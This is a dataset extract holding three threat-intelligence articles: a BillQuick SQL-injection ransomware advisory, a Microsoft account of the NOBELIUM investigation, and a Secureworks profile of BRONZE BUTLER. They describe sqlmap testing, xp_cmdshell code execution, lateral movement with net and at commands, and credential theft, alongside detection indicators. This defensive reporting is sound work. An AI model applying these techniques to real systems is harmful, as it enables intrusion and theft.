text
stringlengths 8
115k
|
---|
# Threat Advisory: Hackers Are Exploiting a Vulnerability in Popular Billing Software to Deploy Ransomware
Hackers are constantly looking for low-hanging fruit and vulnerabilities that can be exploited—and they’re not always poking around in “big” mainstream applications like Office. Sometimes, a productivity tool or even an add-on can be the door that hackers step through to gain access to an environment and carry out their next move. Huntress recently discovered one such vulnerability in a time and billing system called BillQuick.
## What Did We Find?
The Huntress ThreatOps team discovered a critical vulnerability in multiple versions of BillQuick Web Suite, a time and billing system from BQE Software. Hackers were able to successfully exploit CVE-2021-42258—using it to gain initial access to a US engineering company—and deploy ransomware across the victim’s network. Considering BQE’s self-proclaimed user base of 400,000 users worldwide, a malicious campaign targeting their customer base is concerning.
Our team was able to successfully recreate this SQL injection-based attack and can confirm that hackers can use this to access customers’ BillQuick data and run malicious commands on their on-premises Windows servers. We have been in close contact with the BQE team to notify them of this vulnerability, assess the code changes implemented in WebSuite 2021 version 22.0.9.1, and work to address multiple security concerns we raised over their BillQuick and Core offerings.
### CVEs Identified
- CVE-2021-42344
- CVE-2021-42345
- CVE-2021-42346
- CVE-2021-42571
- CVE-2021-42572
- CVE-2021-42573
- CVE-2021-42741
- CVE-2021-42742
## The Red Flag 🚩
Our spidey senses were first set off after a number of our Ransomware Canary files were tripped within an engineering company’s environment that was managed by one of our partners. While investigating the incident, we discovered Microsoft Defender antivirus alerts indicating malicious activity as the MSSQLSERVER$ service account. This indicated the possibility of a web application being exploited in order to gain initial access. The server in question hosted BillQuick Web Suite 2020 (WS2020), and the connection logs indicated a foreign IP repeatedly sending POST requests to the web server logon endpoint leading up to the initial compromise.
From this context, we suspected that a bad actor was attempting to exploit BillQuick—so naturally, we began reverse-engineering the web application to trace the attacker’s steps.
## Vulnerability Analysis
After downloading a free copy of WS2020 from the BQE website, we installed it locally and began to investigate. During static analysis of the server-side code, the Huntress team identified concatenated SQL queries. Essentially, this function allows a user to control the query that’s sent to the MSSQL database—which in this case, enables blind SQL injection via the application’s main login form.
With help from our partner, we were able to recreate the victim’s environment and validate simple security tools like sqlmap easily obtained sensitive data from the BillQuick server without authentication. Because these versions of BillQuick used the sa (System Administrator) MSSQL user for database authentication, this SQL injection also allowed the use of the xp_cmdshell procedure to remotely execute code on the underlying Windows operating system.
### Showcasing the SQL Injection in the Login Page
Let’s walk through how we were able to recreate the SQL injection vulnerability in BillQuick. The below video showcases how easy it is to trigger this vulnerability by submitting a login request with invalid characters in the username field. Simply navigating to the login page and entering a single quote (`'`) can trigger this bug. Further, the error handlers for this page display a full traceback, which could contain sensitive information about the server-side code.
### Scanning the Application Endpoint
Sqlmap, an open-source cybersecurity testing tool, can be used to test for and exploit these types of vulnerabilities. The tool is able to automatically detect SQL injection vulnerabilities, generate queries to leak sensitive data from the backend database, and in certain cases, gain remote code execution.
Here, we showcase an initial scan of the login endpoint. The file login-request.txt contains a raw HTTP request which performs an attempted login. There is nothing inherently malicious about this request, but sqlmap is capable of mutating this request to identify potential injection vulnerabilities.
In this case, the argument `-p txtID` tells sqlmap that we would like to test the txtID argument (this corresponds to the username input). `--time-sec` increases timeouts while sending requests (our BillQuick server was particularly slow to respond). The `--risk` and `--level` arguments adjust how aggressive sqlmap scanning will be. Because this is local testing, we specified higher risk and level values to better tap the full potential of sqlmap.
### Multiple SQL Injection Points Identified
At this point, sqlmap knows how to exploit the vulnerability. It is common to ask sqlmap to test multiple parameters, so it politely asks if we would like to continue testing others—in this case, we only asked it to test one parameter.
After scanning is complete, sqlmap will use the injection to fetch the details of the backend SQL database server. In this example, sqlmap correctly identified Microsoft IIS, Microsoft SQL Server 2019, and Windows 2019.
Next, we tell sqlmap to enumerate all databases on the SQL server; sqlmap remembers the previously identified vulnerabilities and will automatically use the most appropriate one. It quickly identifies the standard databases as well as BQ2020 and BQ2020ARK.
### Dumping SQL Database Tables
Now that we know the database name, we can begin dumping database data. In this case, we already know the name of a sensitive database table (SecurityTable) used by BillQuick Web Suite. This is easily identified by installing a local copy and inspecting the database. This table stores permission data and encoded passwords for all employees in the BillQuick database.
Just to reiterate: We have not authenticated, but we are still able to remotely leak highly sensitive employee information. As a billing management server, there is likely a lot more sensitive information living in the production database.
### Gaining Remote Code Execution
Leaking sensitive information is bad enough, but malicious actors are also gaining remote code execution with this vulnerability. It is worth noting that if your database server is configured to block use of the xp_cmdshell extended stored procedure and BillQuick Web Suite was configured to use a least-privilege SQL user, remote code execution in this way would not be possible. However, BillQuick Web Suite setup information references the built-in sa account when discussing setup and installation multiple times. Any user with read/write access to the BillQuick database could be used, but it is common for system administrators to follow documentation verbatim.
In practice, Huntress has observed partners using BillQuick Web Suite with the built-in sa account, which allows full access to the back-end database server, including xp_cmdshell, regardless of configuration restrictions.
In this case, we use specially-crafted stacked SQL queries to execute the necessary commands for re-enabling the xp_cmdshell extended stored procedure and then execute code through powershell.exe. In the above video, we showcase writing to a file on the server host and spawning calc.exe as the MSSQLSERVER$ service account.
### Observing the sqlmap Scanning in the Logs
BillQuick Web Suite will typically write logs for exceptional conditions to C:\BillQuickData\AppLog. These logs are full tracebacks from the application when something goes wrong. While testing with sqlmap, many of these errors occurred and were logged here. This is a very useful place to check for past exploitation attempts or to debug your own testing.
It's worth noting, though, that this is not a sure-fire detection tool. Successful SQL injection queries will cause no errors to be logged. Further, some code paths within BillQuick Web Suite do not log exceptions to this file. However, the presence of shady or unusual failed SQL statements in your log file strongly suggests that someone has been poking where they shouldn't be.
## Parting Thoughts
We really appreciate the BQE team’s timely responses to these vulnerability notifications. In 2021, it’s still extremely common for vendors to sweep cybersecurity issues under the rug; we have the impression that BQE is taking our feedback seriously.
With that said, this incident highlights a repeating pattern plaguing SMB software: well-established vendors are doing very little to proactively secure their applications and subject their unwitting customers to significant liability when sensitive data is inevitably leaked and/or ransomed.
Rather than stand idly by, Huntress is spearheading multiple SMB efforts to:
- Drive awareness of the code quality epidemic before hackers deliver a “great reckoning”
- Celebrate and destigmatize vendors who transparently disclose their corrected issues
- Incentivize security researchers to find and responsibly report vulnerabilities
- Hold vendors accountable for lagging security practices and unwelcoming behavior
As a community, we’re going to be the security tide that raises all boats. It’s time to rise up.
Caleb Stewart
Security Researcher at Huntress. |
# The Hunt for NOBELIUM: The Most Sophisticated Nation-State Attack in History
This is the second in a four-part blog series on the NOBELIUM nation-state cyberattack. In December 2020, Microsoft began sharing details about what became known as the most sophisticated nation-state cyberattack in history. Microsoft’s four-part video series “Decoding NOBELIUM” pulls the curtain back on the NOBELIUM incident and how world-class threat hunters from Microsoft and around the industry came together to take on this shared adversary. This second post explores the investigation in the second episode of the docuseries.
The threat hunters had but weeks to unravel a global attack that had been planned and executed by an advanced adversary for over a year. The early days of a cyberattack investigation can feel like joining a high-stakes chess match after your opponent has already made a series of moves. You must figure out what your adversary has done while anticipating their next step and launching a counterplay—all simultaneously. Instead of on a chessboard, your clues are found in the code, logs, and responses to your counterattacks. In the case of the NOBELIUM nation-state attack, this was a highly skilled chess player, but we came together as a company and as an industry to take on this shared adversary. This all started when one security company, Mandiant (formerly known as FireEye), spotted an anomaly in its own environment and shared the evidence with Microsoft for additional analysis. This story would eventually involve thousands of defenders across the industry to uncover the full picture and help protect organizations.
As explained in our first post in this series, nation-state attacks are malicious cyberattacks that originate from a particular country and are an attempt to further that country’s interests. The nation-state attack from NOBELIUM, a Russia-sponsored group of hackers, is widely recognized as the most sophisticated in history. The group gained access to multiple enterprises before their actions were detected. This second episode of “Decoding NOBELIUM” explores how the group was detected and how defenders responded in the weeks that followed.
## How was NOBELIUM detected?
It was late November 2020 when a security analyst at cybersecurity company Mandiant detected something unusual in its environment. While reviewing sign-in logs for the previous day, she noticed an event for a user with a different registered device. Intuition told her something was off, so she called the user to ask if they’d registered a new device. The answer would set off an unprecedented, industry-wide hunt to catch a cybercriminal. The user said, “No.”
The security professional alerted her colleagues, including her supervisor, Charles Carmakal, Mandiant Senior Vice President and Chief Technology Officer. While they didn’t yet know the identity of the adversary, they would come to realize the importance of this initial detection. Recognizing that his company needed more collaboration and telemetry to better understand the nature of the attack, Carmakal quickly turned to Microsoft. It was about 9:00 PM when Microsoft Detection and Response Team (DART) Lead Dan Taylor received the call asking for help. Dan initially thought Carmakal was joking, and when he realized it was serious, he called Microsoft DART Lead Investigator Roberto, who was taking his dog for the last walk of the day, to ask him if he recognized the anomalous code Mandiant had found. Roberto confirmed that he had seen this anomaly during a previous nation-state investigation.
## How did the defense team come together?
Every second counts when responding to large-scale cyberattacks like this. NOBELIUM had a year-long advantage on the defenders. A global threat-hunting effort was formed around the Microsoft Threat Intelligence Center, which defends Microsoft and its customers from advanced threat actors around the world. They immediately activated Microsoft’s team of global security experts, who are on-call for major incidents.
Microsoft Security Analyst Joanne was lacing up her hiking boots on a Saturday when she received a text from her supervisor to the entire team that read, “We need all hands on deck for an active incident.” The hike would have to wait as she and her teammates began studying the available data for indicators of an attack.
As Microsoft continued to partner with Mandiant, it quickly became clear that this attack extended well beyond one security company. The Microsoft response team grew along with this knowledge. With every meeting, another 50 to 100 Microsoft threat experts joined in—everyone came together to help. The industry-wide collaboration grew as well. “Many different partners across the industry came together with a common goal,” said Ramin, Senior Malware Reverse Engineer with the Microsoft Threat Intelligence Center.
The biggest challenge was the sophisticated tradecraft of the attacker. They practiced extreme variability. “It became very clear to us that we were dealing with a highly capable, highly clandestine, and advanced adversary,” said Carmakal. NOBELIUM would never use the same IP address across organizations—even going so far as to change it every time the group re-entered the same organization’s network. That meant that traditional markers— including hashes, file names, and IP addresses—were all brittle indicators and less helpful for tracking the attacker’s path. Over time, they began identifying subtle markers of malicious activity.
The team’s relentless investigation led to a breakthrough—they discovered that the unknown threat actor was stealing credentials and moving through the networks undetected. During the ongoing investigation, the team uncovered that anomalous activity was happening within the SolarWinds platform. After decompiling 50,000 lines of SolarWinds code, Mandiant and Microsoft’s reverse engineers identified NOBELIUM malware carefully obfuscated within layers of code, designed to easily spread undetected to thousands of target organizations.
“When we found that scope, it was a combination of exciting and scary,” said Pete, Senior Software Engineer of the Microsoft Threat Intelligence Center. “You got a sense that this attacker could start in hundreds of customer networks, very deep into them with elevated rights,” said John Lambert, General Manager of the Microsoft Threat Intelligence Center. “When you realize how many enterprise customers and government departments use [SolarWinds], you knew that this attacker had achieved a place to have major impact, across the globe.”
Over weeks, the hunters uncovered a sophisticated, advanced threat with a scale and scope beyond anything they could have initially guessed. Now, it was time to use that hard-won knowledge to find and repel the current threat from NOBELIUM and prepare for future attacks.
## NOBELIUM lessons
How did cybersecurity professionals identify NOBELIUM as the threat actor behind the attack and what can your organization do to detect and respond to nation-state attacks? In the second episode of our four-part video series “Decoding NOBELIUM,” security professionals talk about the investigation that followed the discovery of NOBELIUM’s attack.
Microsoft is committed to helping organizations stay protected from cyberattacks, whether cybercriminal or nation-state. In particular, nation-state adversaries have significant expertise and resources and will develop new attack patterns to further their geopolitical objectives. Consistent with our mission to provide security for all, Microsoft will use our leading threat intelligence and global team of dedicated cybersecurity defenders to help protect our customers and the world. Just two recent examples of Microsoft’s efforts to combat nation-state attacks include a September 2021 discovery, an investigation of a NOBELIUM malware referred to as FoggyWeb, and our May 2021 profiling of NOBELIUM’s early-stage toolset compromising EnvyScout, BoomBox, NativeZone, and VaporRage.
For immediate support, reach out to the Microsoft Security Response Center. Keep an eye out for future posts in the NOBELIUM nation-state attack series where we share how we fought the NOBELIUM threat and predict the future of cybersecurity. |
# BRONZE BUTLER Targets Japanese Enterprises
## Summary
Secureworks® incident responders and Counter Threat Unit™ (CTU) researchers investigated activities associated with the BRONZE BUTLER (also known as Tick) threat group, which likely originates in the People's Republic of China (PRC). BRONZE BUTLER's operations suggest a long-standing intent to exfiltrate intellectual property and other confidential data from Japanese organizations. Intrusions observed by CTU researchers indicate a focus on networks involved in critical infrastructure, heavy industry, manufacturing, and international relations.
CTU researchers divided the threat intelligence about this threat group into two sections: strategic and tactical. Executives can use the strategic assessment of the ongoing threat to determine how to reduce risk to their organization's mission and critical assets. Computer network defenders can use the tactical information gathered from incident response investigations and research to reduce the time and effort associated with responding to the threat group's activities.
## Key Points
- Analysis of BRONZE BUTLER's operations, targeting, and capability led CTU researchers to assess that it is likely that the group is located in the PRC.
- The group has used spearphishing, strategic web compromises (SWCs), and an exploit of a zero-day vulnerability to compromise targeted systems.
- After exfiltrating targeted data from a network, BRONZE BUTLER typically deletes evidence of its activities. However, it maintains access to compromised environments when possible, periodically revisiting compromised sites to identify new opportunities for data exfiltration.
## Strategic Threat Intelligence
Analysis of a threat group's targeting, origin, and competencies can determine which organizations could be at risk. This information can help organizations make strategic defensive decisions regarding this threat.
### Intent
CTU analysis indicates that BRONZE BUTLER primarily targets organizations located in Japan. The threat group has sought unauthorized access to networks of organizations associated with critical infrastructure, heavy industry, manufacturing, and international relations. Secureworks analysts have observed BRONZE BUTLER exfiltrating the following categories of data:
- Intellectual property related to technology and development
- Product specification
- Sensitive business and sales-related information
- Network and system configuration files
- Email messages and meeting minutes
The focus on intellectual property, product details, and corporate information suggests that the group seeks information that they believe might be of value to competing organizations. The diverse targeting suggests that BRONZE BUTLER may be tasked by multiple teams or organizations with varying priorities.
### Attribution
The following characteristics led CTU researchers to assess that it is likely that BRONZE BUTLER originates in the PRC:
- Use of T-SMB Scan tools published on a Chinese developer's website
- Chinese characters in the installation service name of an early version of the xxmm backdoor
- Documented links between BRONZE BUTLER's Daserf tool and the PRC-based NCPH hacking group, and a decrease in BRONZE BUTLER activity during PRC national holidays
PRC-based cyberespionage groups have historically sought intellectual property and economic intelligence from competing economies to deliver information which can provide a competitive advantage domestically. The demand for this type of intelligence gathering could be influenced by China’s ambitious economic growth goals.
### Capability
BRONZE BUTLER has used a broad range of publicly available (Mimikatz and gsecdump) and proprietary (Daserf and Datper) tools. It appears to have been sufficiently resourced to continuously develop and replace its proprietary tools over a long period of time. The threat actors developed remote access tools and malware that generate and use encrypted C2 communication, presumably to complicate detection and mitigation. The threat actors are also fluent in Japanese, crafting phishing emails in native Japanese and operating successfully within a Japanese-language environment.
CTU analysis indicates that BRONZE BUTLER purchases a subset of its C2 infrastructure. A large percentage of this infrastructure is hosted in Japan, possibly to avoid scrutiny from security agencies that monitor international communications. The group periodically changes the C2 IP addresses and domains for each compromised network, which can limit the effectiveness of blacklisting the group's infrastructure. The group also supplements its operational infrastructure with access to compromised websites. The breadth and complexity of BRONZE BUTLER's operational infrastructure suggest that the group may have access to a dedicated infrastructure acquisition function.
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems. The threat actors appear to use these initial footholds to select organizations of interest for further compromise. The group is attentive to changes in compromised networks and proactively attempts to avoid scrutiny from network defenders by modifying tools and methods. It has remained undetected in several compromised networks for up to five years.
## Tactical Threat Intelligence
Incident response engagements have given CTU researchers insight into the tools and tactics that BRONZE BUTLER employs during intrusions.
### Tools
CTU researchers have observed BRONZE BUTLER leveraging the following tools that appear to be exclusive to the group:
- **Daserf** — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Analysis of the compile timestamps suggests that the Delphi version is the successor to the Visual C version.
- **Datper** — BRONZE BUTLER likely created this Delphi-coded RAT to replace Daserf. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic.
- **xxmm (also known as Minzen)** — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations.
- **xxmm downloader (also known as KVNDM)** — This simple downloader's code is similar to the main xxmm payload.
- **Gofarer** — This downloader uses the “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;” User-Agent in its HTTP communication.
- **MSGet** — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. After decoding, MSGet saves the binary as %TEMP%\ms<hex string>.exe and executes it.
- **DGet** — This simple downloader is similar to the wget web server retrieval tool.
- **Screen Capture Tool** — This tool can capture the desktop of a victim's system.
- **RarStar** — This custom tool uploads RAR archives to a specified URL as POST data. RarStar encodes the POST data using Base64 and a custom XOR algorithm.
BRONZE BUTLER has also used the following publicly available tools, but CTU researchers determined that the group modified most of them. Analysis of the files identified the use of multiple packers, adjusted functionality in the source code, and recompilation:
- **Mimikatz** — This tool retrieves passwords from memory.
- **Windows Credential Editor (WCE)** — This tool obtains passwords from memory.
- **gsecdump** — This tool obtains passwords from memory.
- **T-SMB Scan** — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality.
- **WinRAR** — This tool extracts tools for lateral movement and compresses data for exfiltration.
### Tactics, Techniques, and Procedures
Incident response engagements have given CTU researchers insight into the tactics that BRONZE BUTLER employs during intrusions.
#### Delivery
BRONZE BUTLER uses spearphishing emails and SWCs to compromise target networks, often leveraging Flash. The group has used phishing emails with Flash animation attachments to download and execute Daserf malware and has also leveraged Flash exploits for SWC attacks. CTU researchers observed BRONZE BUTLER using compromised websites, typically located in Japan and South Korea, as part of its attack infrastructure. The group has demonstrated a capability to compromise and leverage a large number of websites in its campaigns. Based on the large quantity of C2 servers and varying IP addresses used during the same operation, the group also appears to purchase attack infrastructure. BRONZE BUTLER has leveraged a distinct attack infrastructure for different targets, suggesting that the group proactively segments operational infrastructure to minimize the risk of attribution by security researchers.
#### Exploitation
While investigating a 2016 intrusion, Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability (CVE-2016-7836) in SKYSEA Client View, a popular Japanese product used to manage an organization's IT assets. SKY Corporation announced the vulnerability on December 21, 2016, but entries in the victim's SKYSEA Client View default log (CtlCli.log) show that the group had exploited the issue since at least June 2016.
This vulnerability can be exposed when a portable connection device, such as an LTE USB modem, is connected to corporate devices. It is common for remote Japanese workers to use portable connection devices to connect to the Internet and corporate VPNs. However, some of these devices assign the ISP's global IP address to the connected laptop. Threat actors could exploit the vulnerability to impersonate the management console and compromise the laptop's SKYSEA agent that is exposed on the Internet.
BRONZE BUTLER conducted periodic Internet scans to find vulnerable hosts. CTU researchers verified that some exploited systems were not subject to further compromise or lateral movement. This outcome suggests that the group may deploy malware to all identified vulnerable systems but then pursues specific targets after validating the system's association with organizations of interest.
#### Installation
The threat actors use multiple custom downloaders that rely on executable files (Gofarer, MSGet, and xxmm downloader), PowerShell scripts, or VBS/VBE scripts. These downloaders use HTTP traffic, download an additional payload such as Daserf, Datper, or xxmm in a compressed and encoded format, and typically execute the downloaded malware after decoding the file. CTU researchers identified code within a downloader program that inserts ‘0' characters at the end of the executable file to inflate the file size to 50-100 MB, likely to evade antivirus software detection. When analyzing BRONZE BUTLER incidents, CTU researchers observed several antivirus tools skip scanning of inflated files.
CTU researchers also observed BRONZE BUTLER copying downloader source code to a file (do.cs) on a compromised system and then compiling it into an executable file (do.exe). The decrypted proxy log shows the threat actors compiling custom code on the compromised system.
#### Command and Control (C2) Communication
Daserf, Datper, and xxmm communicate with C2 servers via HTTP, encrypting commands and data using various algorithms. The tools use an Internet Explorer component to bypass proxy authentication as long as the compromised system communicates during the authorized times defined by the proxy server.
| Malware | HTTP methods | Encryption algorithm |
|---------------------|----------------------------------|-------------------------------------------|
| Daserf (Visual C) | POST | RC4 |
| Daserf (Delphi) | GET (POST for large data) | RC4 |
| Datper | GET (POST for large data) | RC4 |
| xxmm | GET (POST for large data) | RC4, AES with one-time encryption key |
BRONZE BUTLER uses unique C2 servers for each tool and changes C2 servers periodically. A large proportion of the group's C2 servers are hosted in Japan. The presence of certain URL patterns in proxy logs can reveal BRONZE BUTLER activity.
| Malware | URL pattern | User-Agent |
|-----------|----------------------------------------------------------|----------------------------------------------|
| Daserf | http://<domain/path>.gif | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1) |
| | http://<domain/path>.asp | |
| | http://<domain/path>.php?id=<8-digit hex string>&<4 lowercase characters>=<string similar to Base64-encoded string> | |
| Datper | http://<domain/path>.php?<lowercase characters>=<16-digit hex string>1<random string> | |
| | http://<domain/path>.php?<lowercase characters>=<16-digit hex string>2<string similar to Base64-encoded string> | |
| xxmm | http://<domain/path>.php?t0=<8-digit hex string>&t1=<number>&t2=<8-digit hex string>&t3=<number>&t6=<number> | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1) |
| | http://<domain/path>.php?id0=<8-digit hex string>&id1=<number>&id2=<8-digit hex string>&id3=<number>&id6=<number> | |
BRONZE BUTLER leverages the remote access capabilities in these tools, often using existing PC vendors' directories such as C:\DELL and C:\HP as working directories in compromised environments. CTU researchers have also observed threat actors using the following working directories:
- C:\Intel\
- C:\Intel\Logs\
- C:\Intel\ExtremeGraphics\CUI\
- C:\PerfLogs\Admin\
### Credential Access
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts. Several xxmm samples analyzed by CTU researchers incorporate Mimikatz, allowing the threat actors to issue Mimikatz commands directly from xxmm. In addition, xxmm incorporates a UAC bypass tool for privilege escalation prior to stealing passwords.
CTU analysis revealed BRONZE BUTLER creating forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets (also called golden and silver tickets, respectively) to maintain administrative access.
Golden tickets require a username, but the domain controller does not validate that it is legitimate. CTU researchers detected BRONZE BUTLER using the following usernames for golden tickets:
- bgtras
- bgtrs
- kkir
- kisetr
- netkin
- orumls
- wert
### Host Enumeration
The threat actors typically use built-in Windows ping and net commands for network and host enumeration activity to eventually contact the file-share server. BRONZE BUTLER also uses the T-SMB Scan tool to list available SMB hosts and screen-capture tools to obtain additional information.
### Lateral Movement
After compromising a host, the threat actors attempt to compromise other connected systems to move within the network. BRONZE BUTLER typically uses the following procedure for lateral movement:
1. Use ‘net use' and ‘copy' commands to transfer a malicious file (such as malware) from the compromised host to a target system on the same network.
2. Use the ‘net time' command to check the local time on the target system.
3. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes.
4. After a few minutes, execute the malicious file on the system.
The malicious file is typically a batch file that downloads malware and registers the malware's automatic execution in the registry.
CTU researchers have also observed BRONZE BUTLER giving malware the same name as an existing document file on the file share server to cause users to unwittingly launch and install the malware on additional systems.
### Exfiltration
BRONZE BUTLER typically creates a list of files (i.e., a shopping list) from compromised hosts and file-share servers. If the list is short, the group exfiltrates the files directly. For large lists, the threat actors use the following procedure:
1. Use malware to upload the large list of enumerated files to the C2 server.
2. Select specific files to steal, creating a new list.
3. Use downloaders or other malware to send the new list to a compromised host.
4. Use archiving software to collect files in a password-protected archive.
5. Use an uploader or other malware to send the archived files to an attacker-controlled server. The uploader software is proprietary to this group, but Datper and xxmm also contain an uploading feature. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives.
The group uses a password to encrypt files for RAR archiving. CTU researchers have observed the following passwords used in BRONZE BUTLER network compromises:
- 1234qwer
- 1234qwer!
- 1234$%qwer
- 1qazxsw2
- 1qazxcde32ws
## Conclusion
BRONZE BUTLER compromises organizations to conduct cyberespionage, primarily focusing on Japanese enterprises. Initial attack vectors include spearphishing emails, SWCs, and exploiting vulnerabilities in software commonly used by Japanese businesses. The group can override security controls to exfiltrate intellectual property, and victims should formulate a solid eviction plan before engaging with the threat actors to prevent them from reentering the network.
CTU researchers recommend that organizations, particularly those whose assets and intellectual property could be valuable to BRONZE BUTLER, implement the following security practices:
- Review proxy log settings to ensure they capture information such as HTTP parameters and User-Agents for future analysis. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity.
- Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. Install a background monitor tool (e.g., Sysmon) to log detailed Windows event information to assist with incident response.
- Implement timely vulnerability patching and system updates. Update SKYSEA Client View implementations to the latest version as soon as possible.
- Review network access control. In particular, review network access for use of mobile USB modems on corporate systems. Also implement strict security controls for privileged accounts such as Active Directory administrator to prevent access by an unauthorized user.
## Threat Indicators
The indicators associated with BRONZE BUTLER activity may contain malicious content, so consider the risks before opening them in a browser.
| Indicator | Type | Context |
|----------------------------------------------------------------------------------------|-----------|--------------------------------|
| 795327de450e7f1e371a019a3d43673b60df4b7bf91138afa9ddc3913384f913 | SHA256 | MSGet hash |
| c043c28ea0d767055a8f8d4e94a9acdf62a81927b0ae63b8a9f16288f92cd093 | SHA256 | MSGet hash |
| 4d7ce20a8d5bc05b7d4b1e147174f486033805260db1edbbc2516fced7558bcc | SHA256 | MSGet hash |
| 1ca3b1b259681bca70956139d25a559ccd0b0c04d4f45f08fb954e569aabf9ae | SHA256 | MSGet hash |
| 08e49c1d476aefb4c590cf135229d6da7981c7425e547d4f2877d79c1a1ab601 | SHA256 | VBE hash |
| 6a63cb7089480fa76b784ca7043e147332768bccc39b84249af11f05b0dde66f | SHA256 | VBE hash |
| 026f5c37f0d633ab27b83082dd0e818edbd80c27f86ba12b5cf32b425edb92d0 | SHA256 | VBE hash |
| 21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd | SHA256 | Daserf hash (Visual C) |
| 15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92 | SHA256 | Daserf hash (Visual C) |
| 2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c | SHA256 | Daserf hash (Visual C) |
| 85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439 | SHA256 | Daserf hash (Visual C) |
| f8f31f73157bf049b318429c1d60ad7ff2851e62535d95cf8d121216b95c8602 | SHA256 | Daserf hash (Visual C) |
| b1690facbce9bcc66ebf18f138dbbc10c3662a2034c211e0c414e47c7e208b4a | SHA256 | Daserf hash (Visual C) |
| e620c9d19d7d1f609e0bb08465e4c58db97fd0158fb286d938542fc1f03a2302 | SHA256 | Daserf hash (Visual C) |
| 2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162 | SHA256 | Daserf hash (Visual C) |
| a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05 | SHA256 | Daserf hash (Visual C) |
| dab557bae0eb93475c2c2639f186fd717dd57d8d6354232838f44ba6b6a07172 | SHA256 | Daserf hash (Visual C) |
| db6a6a4f675cba87405c9c7b016713d3e65b052ffc6c8963764a3d3788f432fa | SHA256 | Daserf hash (Visual C) |
| 4b8ca82e6f407792cfb51de881f06b86bd4b59f85746b29c3287aee0015b1683 | SHA256 | Daserf hash (Visual C) |
| db8b494de8d897976288c8ccee707ff7b7967fb48caef99d75687584191c2411 | SHA256 | Daserf hash (Visual C) |
| e2fd17445d81df89f7a9c1ff1c69c9b382215f597db5e4730f5c76557a6fd1f9 | SHA256 | Daserf hash (Visual C) |
| 0a031665d05e82038d620facf9d4a86a89e78544f2f770f579c980dae2e252bf | SHA256 | Daserf hash (Visual C) |
| fa9a3341649e798bbc340ce9b2fe69791fe733aa9e46da666ce13b8cf7ca8f4d | SHA256 | Daserf hash (Visual C) |
| f06b440052bd2c2eb127c33c35a80c4eca34a06360d3ee1bb37348d6029dc955 | SHA256 | Daserf hash (Visual C) |
| 2a39372dea901665ab9429d2f15b3f4fb10706423e177226539047ee1ac3e4a3 | SHA256 | Daserf hash (Visual C) |
| 4e15392553ca8e7d06f9f592eb04cf6dbfed18c98c56afc0ccd132465b270e12 | SHA256 | Daserf hash (Delphi) |
| 89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64 | SHA256 | Daserf hash (Delphi) |
| b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b | SHA256 | Daserf hash (Delphi) |
| 22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43 | SHA256 | Daserf hash (Delphi) |
| b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a | SHA256 | Daserf hash (Delphi) |
| 67e32df3a460f005e7aec83b903f6d47d5533ff3843a97d186ad02316dff9fa9 | SHA256 | Daserf hash (Delphi) |
| 2c449b562dfce53cf98acaddf37286cfb2d1e9da1536511a08bbd24ed93624a6 | SHA256 | Daserf hash (Delphi) |
| 236848e301d71cab6e17a0503fb268f25412838eccb5fb17e78580d2d0a3a31d | SHA256 | Daserf hash (Delphi) |
| b0966e89eae36a309d89a0c15c8a07677f58130fdc76bc98c16968376ec80626 | SHA256 | Daserf hash (Delphi) |
| 68e5013a8147e77e892dcd06687e5e815c3837fb83fbff16bac442c65b2f3e73 | SHA256 | Daserf hash (Delphi) |
| e2f174f8368b46054e6ec2feec00b878b63e331ba3628374d584b238a95fd770 | SHA256 | Daserf hash (Delphi) |
| 7afb8082822bf3e55c6639ed2e272846c6be0e5c1fd40402b8b0f69e37402461 | SHA256 | Daserf hash (Delphi) |
| 630aa710bb7080143498d7fafbb152bbfe581bf690d9bfad041e4e285f152de2 | SHA256 | Daserf hash (Delphi) |
| efa68fcbd455a72276062fb513b71547ea11fedf4db10a476cc6c9a2fa4f67f7 | SHA256 | Datper hash |
| 90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2 | SHA256 | Datper hash |
| 331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b | SHA256 | Datper hash |
| 12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f | SHA256 | Datper hash |
| 303b75a7c350d26116fe341d77105a33c8cb1da3dc82424c3eac401820e868dd | SHA256 | Datper hash |
| 340906b6b3a4149875dea37221843cb8b67c51eb4520b39956cb6761ef0a3c5d | SHA256 | Datper hash |
